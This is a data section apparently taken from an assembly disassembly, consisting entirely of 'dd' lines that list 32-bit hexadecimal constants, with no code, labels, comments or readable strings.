		dd 7FD2F05Bh, 0F77B0AC2h, 0D2645DD5h, 0A509CB70h, 0DE2FE909h
		dd 85F680C9h, 560DE18Ch, 73F8E09Fh, 4DA8251Fh, 60C2E474h
		dd 68A7F503h, 0B53882CAh, 0FA88BC7Ch, 9D7E2DBEh, 0CC9EDDA7h
		dd 0D4CDB22Fh, 7E7DEFA1h, 0C6006A4Dh, 50DA206h,	5D00F93Eh
		dd 36EB81F2h, 9D467047h, 882F17Ah, 0A9124157h, 0DBC47DEEh
		dd 0B57AFA04h, 31090141h, 232198Bh, 0A682E44Ah,	99C4E821h
		dd 25C17320h, 0DD70C968h, 0C846F39Dh, 1EE94171h, 549E26CAh
		dd 799A6F4Ah, 1D821299h, 0EA5F095Dh, 0D3408120h, 3871375Ch
		dd 0B84275DAh, 15E6B15Fh, 4B296CFEh, 2270F17Eh,	3604D677h
		dd 5001204Ch, 362C0968h, 0F286504Eh, 1829465Fh,	522F93Eh
		dd 78AC9FFDh, 65FE0AC4h, 1F98AF2Eh, 12099081h, 12C801E8h
		dd 0D453DAh, 1434F058h,	59002D66h, 57192936h, 2E2A6ABFh
		dd 5824CF5h, 0BAE2160Bh, 642B33C2h, 5B840F2Bh, 2E661479h
		dd 0B90016E5h, 1D4D12A3h, 124EF181h, 177AF845h,	1698221h
		dd 0CDBA20F7h, 0F2214004h, 839A90FAh, 21C0908h,	0FC766929h
		dd 0DF1A973Fh, 5EF2F400h, 0F546E95Fh, 9FF4BC2Bh, 68902A04h
		dd 94AF2484h, 0DA5C821Ch, 0C1DEF702h, 9B20041Fh, 38E8124Fh
		dd 5A07E07Ah, 0E9D11897h, 0A7326593h, 60C707CBh, 0AB5AA437h
		dd 5DBAC42Ch, 31862E20h, 0FE9596D7h, 0CF5C92Eh,	0BC5B0AA4h
		dd 824F3598h, 707641E6h, 72D65452h, 327A8AC1h, 0FB20580h
		dd 94AF590Bh, 68080255h, 8D765447h, 956F6260h, 1E26C07Bh
		dd 294CDF2Bh, 820F6B4h,	0FE5B5A2Fh, 5D57058h, 8105A2A4h
		dd 214D1BCEh, 0DBEE8501h, 0E57EF3CFh, 68EC10B3h, 18BD0685h
		dd 9F4D86C3h, 0E620E514h, 4E9EEA2Bh, 8D1FFDB0h,	90F91395h
		dd 0CF810B9Eh, 1CAB7D4Dh, 515DD170h, 60D5C979h,	98EB29DDh
		dd 6740635h, 0E5D6D51h,	907E8624h, 951E011Bh, 91C0818h
		dd 45C9132Fh, 0C889045Dh, 64A7BEF1h, 0FED21413h, 975D9028h
		dd 896E14D4h, 0AB95F747h, 2EA0D596h, 7E33CC0h, 0AA7CC113h
		dd 0BDF03D29h, 278BBB98h, 0DEE979EBh, 551A9715h, 5D6B3F01h
		dd 0B23A4A8Fh, 585B17A6h, 54BDD2A4h, 0EE5A2E2h,	53F835F3h
		dd 59B646D2h, 39050C06h, 454A6438h, 79B8C0FFh, 0BF9B4E7Dh
		dd 0CCE3C428h, 0CCB623F8h, 0D6DC422Dh, 11B90175h, 7E2E0215h
		dd 4AA271C6h, 0EE2DBAECh, 0B7B018F8h, 0A83DCA0h, 63BFD938h
		dd 91D1044Dh, 82677E03h, 4E75D013h, 738997B0h, 5FC47556h
		dd 265B53B0h, 4A81F028h, 0AB95BFA5h, 0CE0281F8h, 6DA818BBh
		dd 0E6D16840h, 72E95109h, 4D65DFC0h, 29208028h,	0CB2EED65h
		dd 0EBB61075h, 9FB3113h, 2CE1AF4Ch, 3E766180h, 6809E1E6h
		dd 4C540A34h, 0A2AB50C4h, 53EA8038h, 0B868EBh, 0EF3BBB4Fh
		dd 7B157805h, 51AB58BDh, 8C18072Dh, 1FC62468h, 0BA32CEBDh
		dd 3168338Ch, 8EBB524Fh, 0D9F7C2B4h, 7F7E4B3Ah,	0DD84038Ch
		dd 8D81BDDEh, 3BCD9F44h, 47274D80h, 0F1D7B093h,	805DA44h
		dd 0A8B03DE9h, 3BB10BBBh, 0D57679E7h, 0FF81A53Eh, 72D17F07h
		dd 91C61DD0h, 0B9093798h, 0FC1A3C41h, 665F9CEAh, 0C20C2053h
		dd 967DE9A7h, 7527C751h, 0BA03F829h, 93C37A2Fh,	1B8F3806h
		dd 20C6B4Eh, 4D41749Ah,	4742F729h, 0FF000809h, 40CB464Eh
		dd 0A097E917h, 7655E390h, 0C0B8CDh, 0C2F6B0EAh,	0CB8AE931h
		dd 52D2181h, 86206A05h,	900085E0h, 278FBD27h, 52113B25h
		dd 3D50039Dh, 12E9347Fh, 0F60563FEh, 205ABB18h,	566F7E80h
		dd 0E9030B34h, 9077484Ah, 50F5C68h, 3B68C8B7h, 7C31AE53h
		dd 8A9DAE02h, 81CC975Bh, 0F4DE207Dh, 529486EAh,	20CA69EFh
		dd 1650054Eh, 682909EBh, 31B04918h, 6A5059AEh, 530BCFA5h
		dd 590C1275h, 1402289Ah, 965A4799h, 5CB34071h, 0A0C19E97h
		dd 2FF42C14h, 475BF086h, 7AC6D4A5h, 977B7A7Fh, 3A14898Dh
		dd 0C12A672Dh, 3AC2D743h, 671349A3h, 0AA29FEABh, 0AEED842Ah
		dd 0B19683F2h, 0F0E82F4Ah, 3E80F7A2h, 1D1991E6h, 4256386Eh
		dd 0D5427B0Bh, 0B5F147A1h, 97AD4C4h, 0F459CE30h, 58837DB1h
		dd 8905357Fh, 0C169D162h, 57BD5537h, 5E5DE208h,	0E4C2ADF6h
		dd 726081C0h, 0F7D41675h, 617FB0D9h, 0FBCD9169h, 0BEC23F07h
		dd 8160743Ah, 0AC0B0CEFh, 0ADCC4229h, 42229E78h, 0B623203Eh
		dd 18327495h, 2E698EF1h, 0E968430Bh, 548F61F8h,	972C0ED8h
		dd 65CBA971h, 0BD7B8BF2h, 0F88D147Fh, 22859D70h, 56E02C45h
		dd 6AE92090h, 138B81CBh, 0D3F62620h, 515EBF68h,	1F265FF3h
		dd 285207B7h, 56EB57E3h, 850B1258h, 9843A568h, 73DE8886h
		dd 2DF57551h, 3B2459E8h, 0DA7CFA5Bh, 2DC36188h,	3CDBB1E9h
		dd 6113D689h, 12EF1F84h, 9F8AAA20h, 161DA25Fh, 0FC43F2B3h
		dd 0B28FB450h, 0C48E60E4h, 0D6F780B6h, 7F0C54B0h, 116CBA0Ch
		dd 27ED09C6h, 30007D49h, 0F8533D0h, 98104BB7h, 0E6C80791h
		dd 0E3CB4F09h, 0DFFB5068h, 2784BF80h, 82FD4544h, 41CB29EAh
		dd 667A81A0h, 0B9053C1Fh, 4FC67984h, 5DB6D1ABh,	0DB293F69h
		dd 3A0B697Bh, 7DA197D1h, 337F5D02h, 0EE5EE9DFh,	0B659A34Ch
		dd 544C2D9Ch, 0BD686920h, 0BA049158h, 14471971h, 0ED0C9C1h
		dd 0FC7E49E5h, 500841F0h, 0A7E9535Ah, 0E49CD24Bh, 0FB79EE0h
		dd 0E3771068h, 359C16C4h, 0C0C680ACh, 0CA4ECBC9h, 90CF0C4Bh
		dd 5841E477h, 0AD500E82h, 3D70BF4Fh, 431E9EFEh,	2FFC45ABh
		dd 0E4DD4C99h, 0EA88800Fh, 89B671EEh, 0C028B405h, 6F80A50Eh
		dd 6F5AA4A1h, 3B84D9EAh, 0E0CA2122h, 0D43BEFBBh, 8D187CDBh
		dd 1F871621h, 3EC3BE1h,	0ADAAF0C5h, 0FAE1D60Dh,	46D42930h
		dd 3F49260Ch, 59535D82h, 0B4EE7D5Bh, 2A92E919h,	5D2076B7h
		dd 66807D07h, 0C2530613h, 0F9DDA382h, 1EE9893Fh, 0F2BF7046h
		dd 80755F31h, 0DE685639h, 3F020F01h, 6EEC15Eh, 9820047Fh
		dd 0C434FC61h, 0D1455DE2h, 57B8095Ah, 0EBF10A63h, 97716CF9h
		dd 2EA201AEh, 704C2D15h, 717952Eh, 0B8B0DFC9h, 3E2C96B5h
		dd 3B6AAB00h, 56F78168h, 4E201916h, 34667F01h, 18874D38h
		dd 0E9E239C6h, 0D342C1D7h, 4EE8DB31h, 0C764CD9h, 0BE04ED85h
		dd 2D0B8130h, 4F1E7D5Ah, 43A582E3h, 0CBB34BD5h,	1D0BF149h
		dd 0C3E2D02Bh, 0F12583BFh, 0A22A7F31h, 3751046Ch, 0CA2F8066h
		dd 0ED302122h, 2A701818h, 0C5C6031h, 680538E4h,	18AA294Fh
		dd 0AFEFEFBh, 1602603h,	2585DEEh, 1A25DE14h, 7F0B296Eh
		dd 58379196h, 0DE40C7C3h, 962E2598h, 0F2123F29h, 0EAC84EA9h
		dd 8708D54Ch, 0B825CD7Dh, 5461106Dh, 41DFB05Dh,	74F3D40h
		dd 41804520h, 71AB3ED2h, 0E4BE899Ch, 9A77467Ah,	4139EA97h
		dd 0B1C41A76h, 6262FA16h, 0A985A5BCh, 1EF32555h, 0B5322A0h
		dd 0EFC03FB7h, 0A8F0A284h, 70AA5BD1h, 587868BBh, 389F659Dh
		dd 53EA85CFh, 11D0FB40h, 4AE54B73h, 81C6F825h, 2C2E120Dh
		dd 3F7B2B3Ch, 8B30E906h, 1172BEEDh, 0BA55FB01h,	73D66AC3h
		dd 1078E760h, 7216C412h
		dd 0F75D14Ch, 0E0374556h, 0A51E1025h, 61E91346h, 8F7997CEh
		dd 0CF9EA82Ch, 97917997h, 7039B9D2h, 457285AAh,	0A2F180BDh
		dd 9E2A316Bh, 1208A0ACh, 0AC3AF868h, 0ABC6CE57h, 4F9EFF32h
		dd 0E488C793h, 7F680443h, 658B34Ah, 775A2FFEh, 586F4AAAh
		dd 304B1CA1h, 811CCA28h, 8F58BE09h, 2E8A4912h, 0E229BA70h
		dd 9DF1B54Ch, 0E9160CA0h, 0F5635F0Dh, 0F4BCD1C3h, 427F4225h
		dd 0F910BA2Ch, 0F1B560DDh, 21C53324h, 380960Ch,	0F04B294Bh
		dd 0E6D6AFB6h, 45E65F10h, 0E4B01C20h, 0BB308D74h, 35AF3C28h
		dd 0BD2F5B60h, 520840AFh, 1A5D680Eh, 7C5AA9BEh,	9F6030B7h
		dd 38166D04h, 214A6AE9h, 0F802AE5Eh, 862E834Bh,	18AFF5h
		dd 0CB81435Bh, 2CB26304h, 6B02FF98h, 31755D3Ah,	54F98BD3h
		dd 0C0777AD3h, 945A32C6h, 0CE90490h, 7E44EA8Fh,	28AB0D87h
		dd 3040B331h, 0EA321D05h, 933D3D6Bh, 7ECBCE5Bh,	5A476E64h
		dd 580A8B8h, 29425FF3h,	2EE14848h, 0C8AD65F5h, 0B7B29F83h
		dd 34FA2619h, 435A68BEh, 0ECD86AB8h, 620118C7h,	30FEBE37h
		dd 6A3091D4h, 0E37E2DE9h, 7A9744FAh, 5E8DF682h,	38E4CDB0h
		dd 52AD4036h, 0A8724724h, 5CDDCD09h, 0F746CF42h, 0C1074FD7h
		dd 925302Ch, 4BB88B2h, 0EA578145h, 874BE061h, 84F7F133h
		dd 8C20E58Ch, 76F84342h, 0B1ED1C4Ah, 18781B0Bh,	0ECBF7BF0h
		dd 2CC77097h, 8EC99C91h, 0A476F329h, 23401373h,	0B0501E52h
		dd 0BAAB4918h, 7E63FA0h, 68035351h, 6C86B71h, 9CF61D5Bh
		dd 0B995D729h, 60E10378h, 3B49CD5Ch, 6890F30Ch,	47EF0511h
		dd 3AF301Bh, 62B00826h,	1869EA01h, 0CE21A63Dh, 8B307A31h
		dd 0AE403063h, 1910E7C8h, 5F02B825h, 0F3D1D011h, 48CA1006h
		dd 10C4F36h, 0A5BD5B9Fh, 805FFD89h, 0A01EF7F6h,	95EE3149h
		dd 7D527F7Ch, 2F29F0C1h, 56ACF422h, 3DBD0186h, 3F42A259h
		dd 89E758C1h, 0E5022D79h, 3104185Ah, 0DEE64A7Dh, 0C6015B0Ah
		dd 50CD3E05h, 2C6BEFC1h, 0D200BAF7h, 0D125D04Ch, 4D5A68EAh
		dd 5C8E606Bh, 0C2656D25h, 220A7581h, 4610F702h,	58A8C117h
		dd 0E603C428h, 1F0240E1h, 0BF83B0B7h, 8BA0E5FFh, 0F2E16037h
		dd 882307Ah, 26B9C7FFh,	0E557683Eh, 0BF01C253h,	0B920EE72h
		dd 0A772CE41h, 0B27FC1C7h, 5DF95DC5h, 4720ACA2h, 0F7A6A0CFh
		dd 6E6C0B0Ah, 5D00EAC1h, 0CB11B3C2h, 0D5014717h, 7B1B7C80h
		dd 534E4C29h, 472894Ah,	0F9CBC4D7h, 0BCE85E78h,	0B8E165CBh
		dd 9DA57E31h, 0E14734E8h, 0A542AC3Ah, 0E98273F2h, 5955B409h
		dd 4367EB91h, 27F31B08h, 179C4AE8h, 571DBE13h, 664BC7F4h
		dd 888F22E3h, 66363004h, 2CBD13C0h, 0AD31A9C6h,	0EADC34Fh
		dd 0A4E5597Bh, 0E87E5727h, 0EB6A82E9h, 0FA5A0471h, 2188138Ah
		dd 3208CE26h, 37B50BA5h, 0E57E02D7h, 0EE7004B6h, 0FA178DC6h
		dd 8370BDE8h, 0C8F1CEF0h, 531F6633h, 6FEEFCB3h,	321F7425h
		dd 0B982FE07h, 99E4EEBFh, 0A0E69120h, 0D6B54E1Ch, 1325B70Ch
		dd 68BE4A3Bh, 2EED83CAh, 9184BFF3h, 0C1A9FCBEh,	0CC950A2h
		dd 12A5EA71h, 0E92F145Ah, 0B5DFF0E0h, 0F0723C54h, 0EC712D3Fh
		dd 5F15C801h, 0C03420A7h, 1A520D4Eh, 2CC6A801h,	606017F1h
		dd 48D28144h, 0E540F4AAh, 5F9A04BBh, 0AF43693Bh, 18F59DE0h
		dd 0C2DBD4Dh, 0C90B44E4h, 8ADD8963h, 2447655Dh,	2D3A1619h
		dd 945831E9h, 9BA29495h, 0DF181B1h, 706EE368h, 4F2D5ED0h
		dd 3C447C6Ah, 0E6564C89h, 89B1805Dh, 94EFE9CDh,	68133E43h
		dd 545CB04Dh, 0B5626FBDh, 0A9A2FF72h, 35756882h, 16910DCh
		dd 3F5D1A7Dh, 30E9FBE4h, 0EBA92C40h, 91160BBBh,	60FA5E5Ch
		dd 2477FFB4h, 3F256817h, 0D934D8ADh, 300DF1A6h,	1618ED15h
		dd 0B00C6805h, 7B3C2D4Fh, 3DD9A77Dh, 50192941h,	0B52C28E4h
		dd 0DA21E998h, 2DA594B7h, 3390482Ah, 0AB3ABF66h, 85B84B07h
		dd 0F7810C78h, 0C70A55E5h, 35CF5E3Fh, 43070E57h, 79DF1BD5h
		dd 0E84C610h, 0A2266BE9h, 44680A88h, 46F8D46h, 93BC224Fh
		dd 2CD088C7h, 0AE29E9E0h, 4702E78Dh, 61FCE293h,	1029962h
		dd 431370F0h, 84AB6128h, 5CD48E10h, 0EAF84B98h,	0FC0B87F2h
		dd 784C43CDh, 0E1B91801h, 2960193Ah, 4617987Bh,	2CAF997h
		dd 2DC35AE2h, 0AE02D43h, 0D3B0194Dh, 6EABF204h,	0C1BF8B1Bh
		dd 0E25E30h, 7D30092Dh,	0C084C78Ch, 0AA2BF54Ah,	2908CD50h
		dd 68045758h, 0CAFE7969h, 0ADE9099Ch, 57E0104Bh, 39E809CEh
		dd 4730F231h, 4294D001h, 22136452h, 0AB68CC9h, 0A29019E9h
		dd 0EF87DCC6h, 8017976Ch, 667DC702h, 0C0F83059h, 0FBA70284h
		dd 5145AFAh, 2860571Ah,	7F5C0C01h, 0F63D813Dh, 0B5F112DFh
		dd 34815817h, 0DADC7D2Ch, 5B0EC91Ah, 310B26D4h,	0F704FFCBh
		dd 132EF925h, 508C5647h, 0BE8A407Eh, 0B66F500Bh, 177C23h
		dd 16BFEA81h, 85BF76D0h, 80BC269h, 91037F56h, 0CA84367h
		dd 5B033835h, 2540493Bh, 6D54919Ch, 331CD4h, 0E52D611Fh
		dd 5265B0Fh, 0AD780B0Bh, 0AB0E7F54h, 0F5E9FE61h, 0C0B9A7AEh
		dd 5C2EA2FEh, 277EFF5Ch, 9202778Dh, 550469DDh, 0F358A82h
		dd 47C81A65h, 3369E4AAh, 0EB843EC4h, 7168F4D8h,	52E6BF66h
		dd 27C85A5Ch, 88DC79B8h, 0E225C311h, 4B1EF900h,	867E95DDh
		dd 1D44CBE9h, 3FFC737h,	68B1EDB2h, 17CC2EEh, 0A0BA7D70h
		dd 0FCD0DB90h, 1ED2C571h, 0FEB253BFh, 648DE997h, 5B8B11C4h
		dd 1363BD02h, 34EB709Dh, 0A903C28Bh, 68418CF4h,	8A620B52h
		dd 0E90187A2h, 0B92AE473h, 4174250Ch, 58E3BDA3h, 0B712132Fh
		dd 3E5E9080h, 6F584544h, 1E098E4Eh, 0A5C5E7D3h,	93511DEAh
		dd 0C49C21DFh, 7F8D2B3Fh, 5208D21h, 287F09EFh, 92801CB4h
		dd 0E3CBAB16h, 74C50CBDh, 26659633h, 0C66B27A4h, 684C29Fh
		dd 38C259EAh, 0B1E07584h, 0CC2324EBh, 0C5905C1Fh, 0E94316h
		dd 96CB0750h, 348F014Ah, 0EEC288E0h, 1C145E55h,	0EDF2DD42h
		dd 0CD2867F6h, 0C2E7ED90h, 4FC1F97Fh, 0AA2B8BC5h, 1142D330h
		dd 29612284h, 0A2B9482h, 0BC31427Eh, 54011421h,	0D326DC5Fh
		dd 0F6A5CDB1h, 7BD209F7h, 58459871h, 47118980h,	0A84F4B29h
		dd 0B5CC81BDh, 0F17BFD86h, 4B123FA1h, 66B0E6A8h, 68E6E1F7h
		dd 6E60922Fh, 0A04B2DE0h, 45F17D7h, 0AC124E68h,	0A420C5C5h
		dd 4D1007E6h, 35EB5A1Eh, 6C2CBBE6h, 0F3354B25h,	4943001Eh
		dd 4F0D7859h, 70C47741h, 0AF25072Dh, 71D8F73Ch,	3AD1DBADh
		dd 7BEC2084h, 2E905C25h, 0BCB6C1E0h, 3609D393h,	7B20020Fh
		dd 525F0288h, 77584B5Ch, 0AB50C6Fh, 310B73BAh, 8E61EA48h
		dd 390D532h, 0CCE7E2EEh, 0F5FED90Ch, 8D9EC469h,	7A14AC55h
		dd 98F10505h, 5CF62DEFh, 0A0415626h, 57D833Eh, 73B44AC9h
		dd 0A66839EAh, 5160DA12h, 0B1E65B9h, 52E97C3Ch,	0BBBD43E0h
		dd 1541041Eh, 1457E38Ch, 978AA159h, 0EB0F842Bh,	98642A2h
		dd 60B5A3E8h, 2F3762F2h, 0AED16506h, 559F3862h,	0D5F39B66h
		dd 98B17D88h, 0B6851E4h, 3DBE2FF0h, 80F12E81h, 3B7A314Ch
		dd 0FCC73140h, 98341467h, 2505FA03h, 0B7FE3C4Ah, 1CD008A0h
		dd 85444A14h, 34124B6Eh, 59A94BEEh, 0C2B0C475h,	0B3B252A0h
		dd 60E98EE0h, 5E2F1196h, 0F1F670D2h, 28A176BDh,	7F390491h
		dd 0EAB9F7E9h, 35E50D47h, 0FA086C43h, 4AA2D586h, 92FD74EDh
		dd 0FF6F7D2Ch, 8D615925h, 2019F8E9h, 0C8FCBBCAh, 2094294Ch
		dd 90314AC0h, 0D2BE237Dh, 0CF284E67h, 294339C1h, 841252Ch
		dd 0B2FC5255h, 6DDDAEB4h
		dd 0F1C14158h, 9DC87220h, 0F1F85D9Ah, 0BD2F734h, 0A512F8EDh
		dd 6AF96230h, 0D82958C8h, 2EE0558h, 2E685E55h, 59149015h
		dd 0EB8BCF23h, 37C507C0h, 0B6B0C329h, 3A319741h, 6A953C41h
		dd 0BC305FC5h, 885D408Dh, 0BA51E239h, 1C64DDD1h, 0DC27DCFDh
		dd 6A607078h, 2D167101h, 0DBDF29C2h, 12A7C230h,	17499857h
		dd 0F022EF70h, 9BD6A9h,	0AD4BAAB8h, 0C3560164h,	0E95809A5h
		dd 0CCCFAAC0h, 0D0BB0393h, 1C2EA580h, 79532026h, 982D3946h
		dd 4B073E40h, 2390363Dh, 1680BEBh, 70DA0957h, 5CA9EEE4h
		dd 59250C8Fh, 3EEE3E69h, 30EC55B5h, 8239C49Eh, 0F254D87Ah
		dd 0EE01003h, 286A8E9h,	53FCEA3Bh, 0D058BCC2h, 0B53D0BFh
		dd 1F2B0DF5h, 2392A281h, 5FAAF755h, 5525FED6h, 0E90551CFh
		dd 0FDE87C70h, 0B062E5E7h, 551E57E9h, 8E495D5Fh, 0D1B0A75Ch
		dd 0D55E0079h, 0BA36AB21h, 59969C5Ah, 0BA7806h,	0E04CD7BFh
		dd 581477Fh, 7522D1E7h,	20BC012h, 162DDB0Ah, 37A55731h
		dd 5AB3E8EEh, 0BC7CD699h, 0F4BA7117h, 3005DE02h, 0DF874C15h
		dd 9F0856C6h, 83DA2F00h, 0E9165791h, 49BD9F42h,	82043E48h
		dd 81798B27h, 6BD161D3h, 0A7EF6E34h, 0AD7192B5h, 2000571Ch
		dd 49666E7h, 10057D4Bh,	52F15A49h, 0A7A7CD7Fh, 0CF8A1498h
		dd 0F114C9A4h, 76AF6515h, 8830190h, 4A120C17h, 4968D102h
		dd 0C41F4677h, 964E778h, 5A4E5C5Ch, 4EF63058h, 0FF30562Dh
		dd 87790513h, 25981654h, 26784A09h, 3E57F653h, 0F354C892h
		dd 0E96B98A3h, 4CB75EC6h, 5E49F0D9h, 1FBDF9BFh,	0D1780B56h
		dd 278C94D5h, 0F7DA67F9h, 666B07EEh, 5E1BD20Fh,	2D25BCEBh
		dd 0AE9CF5B9h, 0A7BDE916h, 97FC2591h, 2CC6A007h, 0B9345427h
		dd 4BB0BEAh, 0EBF9014Ch, 0CA3D13B3h, 13FD2A2Eh,	0AF72635Bh
		dd 0E7F5BC85h, 51E834E4h, 0E1FBEC4Bh, 52A03E9h,	0AF475F88h
		dd 5F50D8A2h, 991712FEh, 14D1BB30h, 0C3282EE9h,	0BED0C44Bh
		dd 3FD7631Eh, 31FB15C5h, 4250EFC2h, 6D4367FFh, 82087A41h
		dd 340BB11Ch, 80B9C427h, 955E5D08h, 43951977h, 0FC4AD06Ch
		dd 1AA55AFCh, 1518E101h, 8592F26Bh, 39AE1A54h, 0C922042h
		dd 97EC66B7h, 5197AC14h, 0F1C92546h, 0BBD7C7A8h, 0D86BA9D6h
		dd 1FCD03E6h, 0D1BE5A90h, 99C50B4Eh, 5EA45257h,	2A7C169Ah
		dd 0A60FFB6Ah, 3DFF529Ch, 186B63D5h, 0C141D914h, 1A0D1255h
		dd 7FA1A901h, 0D19FE1EEh, 0CF5FE990h, 25348140h, 0CE58C630h
		dd 8443E57Dh, 9818B868h, 0E56E7E9Bh, 0E57CCE8Fh, 71B84CDCh
		dd 69526818h, 170F30C1h, 85493CACh, 9A44E658h, 931E7B31h
		dd 5CA8E021h, 0FD2795B8h, 9010460Dh, 511E9DB8h,	0C26FFEBDh
		dd 0CA8AB8Fh, 0BD8508B8h, 0B9133026h, 5D57C049h, 20BFF348h
		dd 1E10684Ch, 0AEFEE7C1h, 0F6A7A28Ah, 0C7E31802h, 243D12F2h
		dd 4BDDD84Ch, 8D3150E5h, 0EE5F942Fh, 0D8943809h, 8BA0452h
		dd 0C029037Eh, 22283B7Bh, 8B484F60h, 9C11A60Fh,	602A0008h
		dd 46E9B7E8h, 7FA90B9Fh, 0E28C2C67h, 0A1585CD5h, 0FCEA4F6h
		dd 0C730BEC2h, 0FF27F7C4h, 85D79AC4h, 0C2EE690Fh, 0EC744AF8h
		dd 80DFF601h, 0D5E88FEFh, 62C796C7h, 83F65B52h,	3348F602h
		dd 0E6D87838h, 0BF4A2D9h, 0BDC3940Bh, 846288DEh, 0E84655C5h
		dd 1CB5822Eh, 0BE542444h, 80B8500Bh, 2DAFE239h,	5DCA056Ah
		dd 0B6072478h, 0A4635CF2h, 33A5500Dh, 0ECB98042h, 0D9D70126h
		dd 124DFE0Eh, 555D8EFFh, 2D9D23D0h, 0B2D271CBh,	10B653E4h
		dd 5948037Bh, 62232F2Eh, 5E45558Bh, 8AA1B913h, 8145D821h
		dd 57B090AFh, 2D1FA1BFh, 0CF012C4Fh, 4E844115h,	0C1C7B8E3h
		dd 923427CEh, 2B5214C2h, 0C0387E20h, 5A041388h,	0C14D8332h
		dd 0FBED0502h, 7283CDA5h, 9AFB8443h, 84685076h,	9FEB2F44h
		dd 215F7849h, 1AAE2951h, 0DFBD45E9h, 581B1EE8h,	0AB50B1B5h
		dd 0BB85007Bh, 648F0B73h, 0E015097h, 7A90BE56h,	0C475EF89h
		dd 0AB52B5CEh, 52402509h, 0F749C23Eh, 432025B4h, 0EE89172Ch
		dd 523FF05Dh, 0EB44C3F8h, 1A98B0C2h, 5D295092h,	2C0C080Ch
		dd 300E5215h, 89E9C234h, 927A6CDBh, 966813E6h, 0E36D3547h
		dd 0D7EC4F12h, 0E9C9884Eh, 5EA3D62Dh, 0F13B6504h, 97F5F437h
		dd 55BE0AC0h, 3E7FE554h, 0EA24F189h, 66AC8171h,	0E9616D68h
		dd 531E2AE4h, 36C395BCh, 125783Fh, 4EC0E654h, 1314A8BFh
		dd 0A4F45350h, 0E6E990EBh, 0B1DB90Bh, 6C7DD3AEh, 5BF8F62Eh
		dd 6CB044E2h, 338BBFEBh, 41C01A3Fh, 5FE0DCF9h, 24D87F4Ch
		dd 47023B52h, 0C13DD41Ch, 229F06EAh, 0AC148BABh, 0B66F6CF0h
		dd 9775E585h, 212543F7h, 816975Ah, 0A3E8C831h, 0C97B6D16h
		dd 3BAF600Ah, 52474364h, 43D55B49h, 55423E1Eh, 5BD061A5h
		dd 4986FF5h, 681740EAh,	7E69A506h, 0CC5921h, 6B365CF1h
		dd 50E1D109h, 0B3202390h, 0AB803B1h, 2944B75Ah,	0C6D0664Bh
		dd 0B5BF2FE9h, 615B43E8h, 89498472h, 0E9D10965h, 0F67648B8h
		dd 5E547E15h, 0EDC58547h, 3799809Bh, 2DE90D97h,	0EC44223Ch
		dd 0DE0920B1h, 0BEF0462Dh, 0EF25BBCDh, 68BBD94Bh, 0EE852A8Bh
		dd 0BC5872B6h, 0C4F2168Bh, 7B5F7520h, 0B4935954h, 459FB90Bh
		dd 0F146560Fh, 0ED09B926h, 85F36696h, 0C55CCEA2h, 63D7CB1Dh
		dd 29FD0684h, 0B62CFAD3h, 5AAC4079h, 49D0094Bh,	2FE4C369h
		dd 0F2098928h, 0CBAF82F5h, 0D7540B6Eh, 0A109631Ch, 8190F028h
		dd 296E23FEh, 0C7127F9Ch, 0A88477ADh, 7D344976h, 0E9249ECCh
		dd 0DCAFA377h, 810164DEh, 0A432A55Bh, 7505B2FBh, 50BA7BCCh
		dd 5E250883h, 6B4FD7FEh, 560324BAh, 62AA9AFFh, 26698632h
		dd 284AC5B5h, 0E7100DECh, 0B9D9504Fh, 0B258E809h, 0A2E0752Dh
		dd 655C0896h, 0CCC216FCh, 5FFB1644h, 0B7B95181h, 0E4F88705h
		dd 0AE011295h, 4D0D4373h, 52E62EDh, 0EA04339Bh,	0BD58AE2Ch
		dd 0B0B5B5F8h, 9D59CBC7h, 3108C55Bh, 0FD3B3FA5h, 28FEF092h
		dd 0A7A043DFh, 0FD00231Dh, 25D8F76Eh, 50474E30h, 8035DC58h
		dd 415EAB68h, 0BF973FA6h, 8D5FEEDBh, 1DBF3095h,	4BD24802h
		dd 77B821E9h, 143147CCh, 0EB83BD1Eh, 121EA37Bh,	0D9FAC977h
		dd 0C4616E9Dh, 21014648h, 489759F0h, 5430E9DCh,	0DF2D2237h
		dd 0E4856202h, 2802649Dh, 31B92FEh, 845CC4F2h, 96CBBDAAh
		dd 0E90972CAh, 6EE97673h, 0B9983F02h, 0D513A066h, 48D5D894h
		dd 769D0D68h, 0C5488Bh,	7C36074Ah, 35E44F97h, 2762613Dh
		dd 0CA3F0227h, 0D15B04B4h, 39AF2AB3h, 6AC8255Fh, 0DD55423Ah
		dd 0C3813C83h, 3DFE1FB8h, 8AA289Fh, 1C875804h, 4BC574AFh
		dd 0ABC2A3B6h, 8C0C4775h, 0E221D0F0h, 1BD811EEh, 244D146Eh
		dd 0B74430Ah, 74CC95EBh, 8EC4705h, 7FC8EF01h, 8CAA4B4Eh
		dd 8E60C374h, 35665F10h, 0C6027442h, 0B274E58h,	6C30B33Fh
		dd 8BEB10CEh, 0A5240A6Bh, 0DD12F993h, 4EB0F7AEh, 6912D3D8h
		dd 55021D36h, 21E25055h, 2C025AF6h, 611E049Eh, 0A504A8C1h
		dd 0BFB02A44h, 0E62D05CBh, 82C8893Ah, 654E971Ah, 196AD127h
		dd 136A1CC8h, 0B1740484h, 1629FF5Dh, 742C972Eh,	716802CBh
		dd 323C7167h, 3D7E779Eh, 2F91BE00h, 974E603Ch, 0FD289FE0h
		dd 76293E27h, 0E9D38571h, 2D79B8D2h, 6291F159h,	84AF317Ah
		dd 38CA913h, 3C2E91EAh,	0CD96D947h, 4E2EE36Bh, 88D88B31h
		dd 82B6FF05h, 469AB902h, 75D4516h, 3D324913h, 0A9BADFA4h
		dd 5427ED64h, 0EF37DE3Ah, 0EEC73065h, 0D05C303Ah, 2628AE97h
		dd 1A7E6093h, 514ACC80h
		dd 1EE2B13Bh, 0B37F0CE1h, 0AAA40CD9h, 0BEB3C9A6h, 4E335CD4h
		dd 9330A308h, 0B38039C4h, 4F405797h, 13EEE80Eh,	74BD2927h
		dd 5B649110h, 43C1BC90h, 405F0097h, 8201652Dh, 0A709052Fh
		dd 5CFEABDh, 8D9C5865h,	0F95A5CD3h, 0BF0ED618h,	2027FDC7h
		dd 0EE74FCF9h, 0F6007C88h, 50D586D2h, 48EC7288h, 9221C0E6h
		dd 0B89E15BCh, 28572408h, 0F6D5880Bh, 685A6066h, 0CAB45CFCh
		dd 5F027F62h, 751A4218h, 4372332Ch, 624DBB01h, 0C37A111Bh
		dd 56E835F4h, 686B0B28h, 9D5950CFh, 86926B71h, 40BB9DEEh
		dd 8035B1AAh, 5301C100h, 0EFC059B7h, 306CF05h, 45E785h
		dd 0F9303C84h, 0CC3E885Bh, 0FC40259h, 98D97E9h,	0F8099A5Eh
